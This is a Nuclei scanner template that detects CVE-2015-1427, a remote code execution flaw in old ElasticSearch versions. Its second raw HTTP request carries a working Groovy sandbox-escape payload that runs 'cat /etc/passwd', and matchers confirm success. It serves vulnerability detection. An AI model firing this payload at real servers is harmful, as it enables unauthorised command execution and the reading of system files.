id: CVE-2015-1427

info:
  name: ElasticSearch - Remote Code Execution
  author: pikpikcu
  severity: high
  description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.
  reference:
    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1427
    - http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html
    - https://access.redhat.com/errata/RHSA-2017:0868
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-1427
    cwe-id: CWE-284
    epss-score: 0.87385
    epss-percentile: 0.98629
    cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: elasticsearch
    product: elasticsearch
    fofa-query: index_not_found_exception
  tags: cve2015,cve,packetstorm,elastic,rce,elasticsearch,kev

http:
  - raw:
      - |
        POST /website/blog/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded

        {
          "name": "test"
        }
      - |
        POST /_search HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008c336652ce606a5c3506d17e3b30757dcb20912363379e72e6f62ad803e509a3022100b1d5164974a91430965a1d5b9cda00f8ca55249556ae5b72d16974af6a76870d:922c64590222798bb761d5b6d8e72950